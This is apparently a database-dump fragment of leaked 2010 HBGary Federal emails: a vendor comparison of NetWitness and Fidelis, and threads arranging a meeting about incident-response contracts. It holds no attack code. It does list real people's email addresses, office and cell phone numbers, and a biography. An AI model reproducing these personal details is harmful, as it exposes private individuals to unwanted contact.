NetWitness side of things','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMy .02\r\n\r\n&nbsp;\r\n\r\nFull packet capture is very important to meet our goals.&nbsp;\r\nForgive my misunderstanding but I thought Fidelis had this capability&#8230; if\r\nthat is not true than there is a big difference in those solutions for depth\r\nand breadth of analysis and more importantly for what we trying to build.&nbsp;&nbsp;&nbsp;\r\nMy view is speed is important but not as important as depth of collection and\r\nanalysis&#8230; one of the reasons why we are special is because of our\r\napproach - we collect all RAM and Pagefile&#8230; then we speed up the analysis\r\nof that enormous blob of unstructured data with DDNA, then we can go even lower\r\nto the assembly when we find malware&#8230;.&nbsp; &nbsp;Netwitness has the\r\nsame approach for Data in Motion i.e. collect everything, provide many views\r\nand levels of abstraction for all the data, streams, content, etc.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 09, 2010 7:38 PM\r\nTo: Bob Slapnik; Penny Leavy; Greg Hoglund; Rich Cummings\r\nCc: Ted Vera\r\nSubject: Fwd: NetWitness side of things\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJust as another data point. &nbsp;Given its a biased\r\nperspective but so far I agree, while fidelis can do more inline processing,\r\nfrom what I have seen Netwitness has better capability for network traffic\r\nanalysis, better tools for data discovery, etc. &nbsp;When dealing with the\r\n&quot;APT&quot; this is critical. &nbsp;If you need something to monitor data\r\ninline the Fidelis is probably your better bet. &nbsp;From developing a threat\r\nintelligence perspective I am still leaning Netwitness but very interested to\r\ntalk with Fidelis.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Brian\r\nGirardi&quot; &lt;brian@netwitness.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate: February\r\n9, 2010 11:28:09 AM EST\r\n\r\n\r\n\r\n\r\n\r\nTo: &quot;Aaron\r\nBarr&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: NetWitness side of things\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI will say that our Fed team casts a wide net &#8211; so regarding DARPA its\r\nthem doing their thing. &nbsp;I agree on the interplay... NetWitness will team\r\nwith folks that make sense, but admittedly our Fed team actually teams with\r\nseveral integrators on such efforts. &nbsp;If you need I can get you synchronized\r\nwith Jaci who runs our Fed Group.\r\n\r\nHa ha , Fidelis. &nbsp;You are right in your assertion that there is no\r\ncomparison. &nbsp;They are clearly DLP and we are advanced threat, full data\r\ncapture. &nbsp;Now there is perceived overlap because we both have the ability\r\nto monitor network traffic, but then we then massively diverge technically and\r\nfrom a use case perspective. &nbsp;We do run into them competitively but its\r\nmore budgetary than anything else. &nbsp;We get mixed in their conversations\r\nbecause on the Fed side we pulled a 1M+ deal out from under them in the 11th\r\nhour &#8212; we added more value in addition to the DLP requirements they were\r\nbeing evaluated under. &nbsp;&nbsp;In my mind DLP is commoditized, if not\r\nalmost there. NW is on the front-lines of a bigger battle of advanced threats,\r\n&nbsp;a battle that DLP has no weapons to fight with.\r\n\r\n-Brian\r\n\r\nOn 2/8/10 10:46 PM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\nBrian,\r\n\r\nI saw you guys are on the list of attendees at the DARPA cyber genome project\r\nday. &nbsp;Whats your take on the whole thing? &nbsp;at least tech area 3 is in\r\nour sweet spot so we are likely going to bid something. &nbsp;Talking to a few\r\nof the bigger contractors for teaming, etc.\r\n\r\nI am still working with Brian Masterson of Xetron to get the IRAD funding to\r\nstart our effort. &nbsp;We have a few meetings with NG senior folks this week\r\nto discuss. &nbsp;I will let you know how that goes.\r\n\r\nSelf assessment question. &nbsp;How would you compare yourself to Fidelis?\r\n&nbsp;I keep hearing the comparison, but I see you guys as different. &nbsp;I\r\nlike Netwitness from an intelligence perspective because you give me better\r\ninterfaces to the data, discovery, correlation, etc.\r\n\r\nAaron\r\n\r\nOn Jan 29, 2010, at 11:44 AM, Brian Girardi wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\nThanks for pulling us into your effort. &nbsp;From our perspective the problem\r\nset identified and target resonates, an approach like this is needed to better\r\nposition the organizations to build out better knowledge, skillset,\r\ntradecraft...etc. &nbsp;&nbsp;Our experience historically within intel and\r\ncoming from a services organization re-enforces our belief in the need.\r\n&nbsp;To this point, its also not a conventional product sale, as some members\r\nof the room were hung up on. Unlike, Splunk we don&#8217;t need time to\r\nevaluate, weve experienced the problem and realize the need. &nbsp;Eager to\r\nparticipate in the solution.\r\n\r\nFrom a product and technical perspective I think Splunk positions its self as\r\nthe umbrella for all data consumption and searching... which would include NW,\r\nHGbary, and other intel data, which also drives their licensing cost.\r\n&nbsp;When you put them under the host category they probably felt as if they\r\nwere in a corner. &nbsp;I think they do risk cannibalizing themselves in some\r\naccounts if they don&#8217;t position themselves right( at the top), which in\r\nmy mind may conflict with the objective of the solution.\r\n\r\nI do think more thought needs to go into how the products play together, and\r\nposition it in a way that minimizes sales impact if the product already exists\r\nor not. &nbsp;Tricky. &nbsp;&nbsp;I believe that as our product is used it\r\ninherently drives customers to use it more and buy more for coverage. May be\r\nthe same for Splunk... The issue there is that they are architected in a\r\nsimilar way to NW, further driving confusion on the interaction. Id challenge\r\nthat shoveling all NW data into Splunk wont scale (contrary to their assertion)\r\nand minimize the value of our analytics. &nbsp;For example, at any particular\r\ntime we may be processing 100,000 meta elements a second &#8212; the real-time\r\nnature of our system and its index positions itself better as an adjacent\r\nsystem than just a data provider when part of a larger solution.\r\n&nbsp;&nbsp;You may find that during integration the profile of the products\r\nmay change anyway.\r\n\r\nThe missing part to me is the workflow --- which is part services, integration,\r\nand product. &nbsp;Clearwell has an interesting case management system you may\r\nwant to look at, although Palantir may already do some of this.\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street,\r\nSuite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state\r\nlaw governing electronic communications and may contain company proprietary and\r\nlegally privileged information. &nbsp;If the reader of this message is not the\r\nintended recipient, you are hereby notified that any dissemination,\r\ndistribution, use or copying of this message is strictly prohibited. &nbsp;If\r\nyou have received this in error, please reply immediately to the sender and\r\ndelete this message. &nbsp;Thank you. \r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street,\r\nSuite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state\r\nlaw governing electronic communications and may contain company proprietary and\r\nlegally privileged information. If the reader of this message is not the\r\nintended recipient, you are hereby notified that any dissemination,\r\ndistribution, use or copying of this message is strictly prohibited. If you\r\nhave received this in error, please reply immediately to the sender and delete\r\nthis message. Thank you. \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9774,'aaron_hbgary_com/9774.html'),(2352,'2010-02-10','\"Nolan Clifford\" <nolan@informationsecuritysolutionsllc.com>','/aaron@hbgary.com/new/1297001075.M670955P3547Q2352.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Services contract for commercial IR services','\r\n\r\n\r\n\r\n\r\nI have a call from 9-10 but am open the rest of the day. What \r\nworks best for you? Where will you be on Friday?\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 09, 2010 7:50 PMTo: \r\n&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: \r\nServices contract for commercial IR services\r\n\r\nFriday looks good. &nbsp;What time?From my iPhone\r\nOn Feb 9, 2010, at 5:45 PM, \"Nolan Clifford\" &lt;nolan@informationsecuritysolutionsllc.com&gt; \r\nwrote:\r\n\r\n\r\n  \r\n  Hi Aaron,\r\n  &nbsp;\r\n  How is Friday looking for you?\r\n  &nbsp;\r\n  Cheers,\r\n  Nolan\r\n  &nbsp;\r\n  Nolan Clifford, CISSP\r\n  CEO, Information Security Solutions \r\n  LLC\r\n  http://www.informationsecuritysolutionsllc.com\r\n  nolan@informationsecuritysolutionsllc.com\r\n  Office - 703-945-7480\r\n  Cell - 703-869-7396\r\n  &nbsp;\r\n  &nbsp;\r\n  \r\n  \r\n  From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, \r\n  February 08, 2010 11:15 PMTo: nolan@informationsecuritysolutionsllc.comSubject: \r\n  Re: Services contract for commercial IR services\r\n  Hi Nolan, \r\n  \r\n  My week has opened up quite a bit. &nbsp;:)\r\n  \r\n  Do you have some time to meet this week?\r\n  \r\n  Aaron\r\n  \r\n  \r\n  On Feb 4, 2010, at 5:12 PM, nolan@informationsecuritysolutionsllc.com \r\n  wrote:\r\n  \r\n    I \r\n    can\'t tomorrow. How does next week look for you?\r\n    Sent via BlackBerry by AT&amp;T\r\n    \r\n\r\n    From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n    Date: Thu, 4 Feb 2010 17:11:54 -0500\r\n    To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n    Subject: Re: Services contract for commercial IR services\r\n    Sounds good for tomorrow. &nbsp;You still open? \r\n    \r\n    Aaron\r\n    \r\n    \r\n    On Feb 2, 2010, at 2:25 PM, nolan@informationsecuritysolutionsllc.com \r\n    wrote:\r\n    \r\n      Same \r\n      here, perhaps coffee either morning in the Reston area?\r\n      Sent via BlackBerry by AT&amp;T\r\n      \r\n\r\n      From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n      Date: Tue, 2 Feb 2010 11:13:44 -0700\r\n      To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n      Subject: Re: Services contract for commercial IR \r\nservices\r\n      Whats your schedule like next week. &nbsp;My best \r\n      availability is on Thursday and Friday. \r\n      \r\n      Aaron\r\n      \r\n      \r\n      \r\n      On Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com \r\n      wrote:\r\n      \r\n        Darn, \r\n        those days are packed for me. What about the week of the 8th?\r\n        Sent via BlackBerry by AT&amp;T\r\n        \r\n\r\n        From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n        Date: Mon, 25 Jan 2010 11:44:58 -0500\r\n        To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n        Subject: Re: Services contract for commercial IR \r\n        services\r\n        Hi Nolan, \r\n        \r\n        Tuesday and Friday are my packed days this week. &nbsp;Any free \r\n        time on Wed/Thurs?\r\n        \r\n        Aaron\r\n        \r\n        \r\n        \r\n        On Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com \r\n        wrote:\r\n        \r\n          Aaron,How \r\n          does 11 on Tuesday look for you? Where are you at most of the time? \r\n          Would coffee at Cosi in the Reston Town Center be \r\n          easy?Thanks,Nolan\r\n          Sent via BlackBerry by AT&amp;T\r\n          \r\n\r\n          From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n          Date: Thu, 21 Jan 2010 08:48:18 -0500\r\n          To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n          Subject: Re: Services contract for commercial IR \r\n          services\r\n          Nolan, \r\n          \r\n          Ted is out in the Springs, but how about we meet next week. \r\n          &nbsp;Any days better than others?\r\n          Aaron\r\n          \r\n          \r\n          On Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n          \r\n            \r\n            Thanks Maria.\r\n            &nbsp;\r\n            Aaron and Ted - I could link up in \r\n            person next week if you guys are interested.\r\n            &nbsp;\r\n            Best,\r\n            Nolan\r\n            &nbsp;\r\n            Nolan Clifford, \r\n            CISSP\r\n            CEO, Information Security \r\n            Solutions LLC\r\n            http://www.informationsecuritysolutionsllc.com\r\n            nolan@informationsecuritysolutionsllc.com\r\n            Office - \r\n            703-945-7480\r\n            Cell - \r\n            703-869-7396\r\n            &nbsp;\r\n            &nbsp;\r\n            \r\n            \r\n            From: Maria Lucas [mailto:maria@hbgary.com] \r\n            Sent: Tuesday, January 19, 2010 4:51 PMTo: \r\n            Aaron Barr; Ted@hbgary.comCc: nolan@informationsecuritysolutionsllc.comSubject: \r\n            Re: Services contract for commercial IR \r\nservices\r\n            \r\n            Aaron / Ted\r\n            &nbsp;\r\n            I spoke today with Nolan Clifford.&nbsp; He may&nbsp;be \r\n            helpful&nbsp;with the contract terms for IR Services.&nbsp; Nolan \r\n            has an NDA with HBGary.\r\n            &nbsp;\r\n            Nolan is available later this week or next to meet or speak \r\n            with on the phone:\r\n            &nbsp;\r\n            You may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting \r\n            your call.\r\n            &nbsp;\r\n            Maria\r\n            &nbsp;\r\n            Nolan Clifford Bio\r\n            \r\n            CEO of Information Security Solutions LLC, \r\n            providing a full range of security consulting services to US \r\n            Federal, Global Public Sector and Commercial clients. Former \r\n            Principal, Deloitte &amp; Touche, LLP Security and Privacy Practice. \r\n            Former Director at PricewaterhouseCoopers, LLP, within the \r\n            Washington Federal Practice. Former Director of Information \r\n            Assurance, General Dynamics Network Systems, National and Defense \r\n            Intelligence Solutions and former Director of the Federal Security \r\n            Practice at Unisys Corporation. Information Warfare Officer for the \r\n            Naval Reserve Network Warfare Command. Former active duty Naval \r\n            Cryptology Officer. CISSP. \r\n            &nbsp;-- Maria Lucas, CISSP | Account \r\n            Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office \r\n            Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n          \r\n          Aaron Barr\r\n          CEO\r\n          HBGary Federal Inc.\r\n          \r\n        \r\n        Aaron Barr\r\n        CEO\r\n        HBGary Federal Inc.\r\n        \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n    \r\n    Aaron Barr\r\n    CEO\r\n    HBGary Federal Inc.\r\n    \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n',11206,'aaron_hbgary_com/11206.html'),(2353,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001075.M907748P3547Q2353.eml','\"<nolan@informationsecuritysolutionsllc.com>\" <nolan@informationsecuritysolutionsllc.com>','Re: Services contract for commercial IR services','We could grab lunch?  I will be Coming fro McLean.  Where will u be?  If lunch is good I can pick a place near or in between us both.AaronFrom my iPhone\r\nOn Feb 9, 2010, at 7:52 PM, &quot;Nolan Clifford&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\n\r\nI have a call from 9-10 but am open the rest of the day. What \r\nworks best for you? Where will you be on Friday?\r\n \r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\n\r\nnolan@informationsecuritysolutionsllc.com\r\n\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n \r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 09, 2010 7:50 PMTo: \r\n&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: \r\nServices contract for commercial IR services\r\n\r\nFriday looks good.  What time?From my iPhone\r\nOn Feb 9, 2010, at 5:45 PM, &quot;Nolan Clifford&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; \r\nwrote:\r\n\r\n\r\n  \r\n  Hi Aaron,\r\n   \r\n  How is Friday looking for you?\r\n   \r\n  Cheers,\r\n  Nolan\r\n   \r\n  Nolan Clifford, CISSP\r\n  CEO, Information Security Solutions \r\n  LLC\r\n  http://www.informationsecuritysolutionsllc.com\r\n\r\n  nolan@informationsecuritysolutionsllc.com\r\n\r\n  Office - 703-945-7480\r\n  Cell - 703-869-7396\r\n   \r\n   \r\n  \r\n  \r\n  From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, \r\n  February 08, 2010 11:15 PMTo: nolan@informationsecuritysolutionsllc.com\r\nSubject: \r\n  Re: Services contract for commercial IR services\r\n  Hi Nolan, \r\n  \r\n  My week has opened up quite a bit.  :)\r\n  \r\n  Do you have some time to meet this week?\r\n  \r\n  Aaron\r\n  \r\n  \r\n  On Feb 4, 2010, at 5:12 PM, nolan@informationsecuritysolutionsllc.com \r\n  wrote:\r\n  \r\n    I \r\n    can&#39;t tomorrow. How does next week look for you?\r\n    Sent via BlackBerry by AT&amp;T\r\n    \r\n\r\n    From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n    Date: Thu, 4 Feb 2010 17:11:54 -0500\r\n    To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n    Subject: Re: Services contract for commercial IR services\r\n    Sounds good for tomorrow.  You still open? \r\n    \r\n    Aaron\r\n    \r\n    \r\n    On Feb 2, 2010, at 2:25 PM, nolan@informationsecuritysolutionsllc.com \r\n    wrote:\r\n    \r\n      Same \r\n      here, perhaps coffee either morning in the Reston area?\r\n      Sent via BlackBerry by AT&amp;T\r\n      \r\n\r\n      From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n      Date: Tue, 2 Feb 2010 11:13:44 -0700\r\n      To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n      Subject: Re: Services contract for commercial IR \r\nservices\r\n      Whats your schedule like next week.  My best \r\n      availability is on Thursday and Friday. \r\n      \r\n      Aaron\r\n      \r\n      \r\n      \r\n      On Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com \r\n      wrote:\r\n      \r\n        Darn, \r\n        those days are packed for me. What about the week of the 8th?\r\n        Sent via BlackBerry by AT&amp;T\r\n        \r\n\r\n        From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n        Date: Mon, 25 Jan 2010 11:44:58 -0500\r\n        To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n        Subject: Re: Services contract for commercial IR \r\n        services\r\n        Hi Nolan, \r\n        \r\n        Tuesday and Friday are my packed days this week.  Any free \r\n        time on Wed/Thurs?\r\n        \r\n        Aaron\r\n        \r\n        \r\n        \r\n        On Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com \r\n        wrote:\r\n        \r\n          Aaron,How \r\n          does 11 on Tuesday look for you? Where are you at most of the time? \r\n          Would coffee at Cosi in the Reston Town Center be \r\n          easy?Thanks,Nolan\r\n          Sent via BlackBerry by AT&amp;T\r\n          \r\n\r\n          From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n          Date: Thu, 21 Jan 2010 08:48:18 -0500\r\n          To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n          Subject: Re: Services contract for commercial IR \r\n          services\r\n          Nolan, \r\n          \r\n          Ted is out in the Springs, but how about we meet next week. \r\n           Any days better than others?\r\n          Aaron\r\n          \r\n          \r\n          On Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n          \r\n            \r\n            Thanks Maria.\r\n             \r\n            Aaron and Ted - I could link up in \r\n            person next week if you guys are interested.\r\n             \r\n            Best,\r\n            Nolan\r\n             \r\n            Nolan Clifford, \r\n            CISSP\r\n            CEO, Information Security \r\n            Solutions LLC\r\n            http://www.informationsecuritysolutionsllc.com\r\n\r\n            nolan@informationsecuritysolutionsllc.com\r\n\r\n            Office - \r\n            703-945-7480\r\n            Cell - \r\n            703-869-7396\r\n             \r\n             \r\n            \r\n            \r\n            From: Maria Lucas [mailto:maria@hbgary.com] \r\n            Sent: Tuesday, January 19, 2010 4:51 PMTo: \r\n            Aaron Barr; Ted@hbgary.comCc: nolan@informationsecuritysolutionsllc.com\r\nSubject: \r\n            Re: Services contract for commercial IR \r\nservices\r\n            \r\n            Aaron / Ted\r\n             \r\n            I spoke today with Nolan Clifford.  He may be \r\n            helpful with the contract terms for IR Services.  Nolan \r\n            has an NDA with HBGary.\r\n             \r\n            Nolan is available later this week or next to meet or speak \r\n            with on the phone:\r\n             \r\n            You may reach Nolan at (703) 945-7480.  Nolan is expecting \r\n            your call.\r\n             \r\n            Maria\r\n             \r\n            Nolan Clifford Bio\r\n            \r\n            CEO of Information Security Solutions LLC, \r\n            providing a full range of security consulting services to US \r\n            Federal, Global Public Sector and Commercial clients. Former \r\n            Principal, Deloitte &amp; Touche, LLP Security and Privacy Practice. \r\n            Former Director at PricewaterhouseCoopers, LLP, within the \r\n            Washington Federal Practice. Former Director of Information \r\n            Assurance, General Dynamics Network Systems, National and Defense \r\n            Intelligence Solutions and former Director of the Federal Security \r\n            Practice at Unisys Corporation. Information Warfare Officer for the \r\n            Naval Reserve Network Warfare Command. Former active duty Naval \r\n            Cryptology Officer. CISSP. \r\n             -- Maria Lucas, CISSP | Account \r\n            Executive | HBGary, Inc.Cell Phone 805-890-0401  Office \r\n            Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n          \r\n          Aaron Barr\r\n          CEO\r\n          HBGary Federal Inc.\r\n          \r\n        \r\n        Aaron Barr\r\n        CEO\r\n        HBGary Federal Inc.\r\n        \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n    \r\n    Aaron Barr\r\n    CEO\r\n    HBGary Federal Inc.\r\n    \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n\r\n',5867,'aaron_hbgary_com/5867.html'),(2354,'2010-02-10','nolan@informationsecuritysolutionsllc.com','/aaron@hbgary.com/new/1297001076.M109677P3547Q2354.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Services contract for commercial IR services','I\'ll be coming from Frederick so lunch in McLean would work fine. Sent via BlackBerry by AT&TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 9 Feb 2010 20:01:51 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesWe could grab lunch?  I will be Coming fro McLean.  Where will u be?  If lunch is good I can pick a place near or in between us both.AaronFrom my iPhone\r\nOn Feb 9, 2010, at 7:52 PM, &quot;Nolan Clifford&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\n\r\nI have a call from 9-10 but am open the rest of the day. What \r\nworks best for you? Where will you be on Friday?\r\n \r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\n\r\nnolan@informationsecuritysolutionsllc.com\r\n\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n \r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 09, 2010 7:50 PMTo: \r\n&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: \r\nServices contract for commercial IR services\r\n\r\nFriday looks good.  What time?From my iPhone\r\nOn Feb 9, 2010, at 5:45 PM, &quot;Nolan Clifford&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; \r\nwrote:\r\n\r\n\r\n  \r\n  Hi Aaron,\r\n   \r\n  How is Friday looking for you?\r\n   \r\n  Cheers,\r\n  Nolan\r\n   \r\n  Nolan Clifford, CISSP\r\n  CEO, Information Security Solutions \r\n  LLC\r\n  http://www.informationsecuritysolutionsllc.com\r\n\r\n  nolan@informationsecuritysolutionsllc.com\r\n\r\n  Office - 703-945-7480\r\n  Cell - 703-869-7396\r\n   \r\n   \r\n  \r\n  \r\n  From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, \r\n  February 08, 2010 11:15 PMTo: nolan@informationsecuritysolutionsllc.com\r\nSubject: \r\n  Re: Services contract for commercial IR services\r\n  Hi Nolan, \r\n  \r\n  My week has opened up quite a bit.  :)\r\n  \r\n  Do you have some time to meet this week?\r\n  \r\n  Aaron\r\n  \r\n  \r\n  On Feb 4, 2010, at 5:12 PM, nolan@informationsecuritysolutionsllc.com \r\n  wrote:\r\n  \r\n    I \r\n    can&#39;t tomorrow. How does next week look for you?\r\n    Sent via BlackBerry by AT&amp;T\r\n    \r\n\r\n    From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n    Date: Thu, 4 Feb 2010 17:11:54 -0500\r\n    To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n    Subject: Re: Services contract for commercial IR services\r\n    Sounds good for tomorrow.  You still open? \r\n    \r\n    Aaron\r\n    \r\n    \r\n    On Feb 2, 2010, at 2:25 PM, nolan@informationsecuritysolutionsllc.com \r\n    wrote:\r\n    \r\n      Same \r\n      here, perhaps coffee either morning in the Reston area?\r\n      Sent via BlackBerry by AT&amp;T\r\n      \r\n\r\n      From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n      Date: Tue, 2 Feb 2010 11:13:44 -0700\r\n      To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n      Subject: Re: Services contract for commercial IR \r\nservices\r\n      Whats your schedule like next week.  My best \r\n      availability is on Thursday and Friday. \r\n      \r\n      Aaron\r\n      \r\n      \r\n      \r\n      On Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com \r\n      wrote:\r\n      \r\n        Darn, \r\n        those days are packed for me. What about the week of the 8th?\r\n        Sent via BlackBerry by AT&amp;T\r\n        \r\n\r\n        From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n        Date: Mon, 25 Jan 2010 11:44:58 -0500\r\n        To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n        Subject: Re: Services contract for commercial IR \r\n        services\r\n        Hi Nolan, \r\n        \r\n        Tuesday and Friday are my packed days this week.  Any free \r\n        time on Wed/Thurs?\r\n        \r\n        Aaron\r\n        \r\n        \r\n        \r\n        On Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com \r\n        wrote:\r\n        \r\n          Aaron,How \r\n          does 11 on Tuesday look for you? Where are you at most of the time? \r\n          Would coffee at Cosi in the Reston Town Center be \r\n          easy?Thanks,Nolan\r\n          Sent via BlackBerry by AT&amp;T\r\n          \r\n\r\n          From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n          Date: Thu, 21 Jan 2010 08:48:18 -0500\r\n          To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n          Subject: Re: Services contract for commercial IR \r\n          services\r\n          Nolan, \r\n          \r\n          Ted is out in the Springs, but how about we meet next week. \r\n           Any days better than others?\r\n          Aaron\r\n          \r\n          \r\n          On Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n          \r\n            \r\n            Thanks Maria.\r\n             \r\n            Aaron and Ted - I could link up in \r\n            person next week if you guys are interested.\r\n             \r\n            Best,\r\n            Nolan\r\n             \r\n            Nolan Clifford, \r\n            CISSP\r\n            CEO, Information Security \r\n            Solutions LLC\r\n            http://www.informationsecuritysolutionsllc.com\r\n\r\n            nolan@informationsecuritysolutionsllc.com\r\n\r\n            Office - \r\n            703-945-7480\r\n            Cell - \r\n            703-869-7396\r\n             \r\n             \r\n            \r\n            \r\n            From: Maria Lucas [mailto:maria@hbgary.com] \r\n            Sent: Tuesday, January 19, 2010 4:51 PMTo: \r\n            Aaron Barr; Ted@hbgary.comCc: nolan@informationsecuritysolutionsllc.com\r\nSubject: \r\n            Re: Services contract for commercial IR \r\nservices\r\n            \r\n            Aaron / Ted\r\n             \r\n            I spoke today with Nolan Clifford.  He may be \r\n            helpful with the contract terms for IR Services.  Nolan \r\n            has an NDA with HBGary.\r\n             \r\n            Nolan is available later this week or next to meet or speak \r\n            with on the phone:\r\n             \r\n            You may reach Nolan at (703) 945-7480.  Nolan is expecting \r\n            your call.\r\n             \r\n            Maria\r\n             \r\n            Nolan Clifford Bio\r\n            \r\n            CEO of Information Security Solutions LLC, \r\n            providing a full range of security consulting services to US \r\n            Federal, Global Public Sector and Commercial clients. Former \r\n            Principal, Deloitte &amp; Touche, LLP Security and Privacy Practice. \r\n            Former Director at PricewaterhouseCoopers, LLP, within the \r\n            Washington Federal Practice. Former Director of Information \r\n            Assurance, General Dynamics Network Systems, National and Defense \r\n            Intelligence Solutions and former Director of the Federal Security \r\n            Practice at Unisys Corporation. Information Warfare Officer for the \r\n            Naval Reserve Network Warfare Command. Former active duty Naval \r\n            Cryptology Officer. CISSP. \r\n             -- Maria Lucas, CISSP | Account \r\n            Executive | HBGary, Inc.Cell Phone 805-890-0401  Office \r\n            Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com 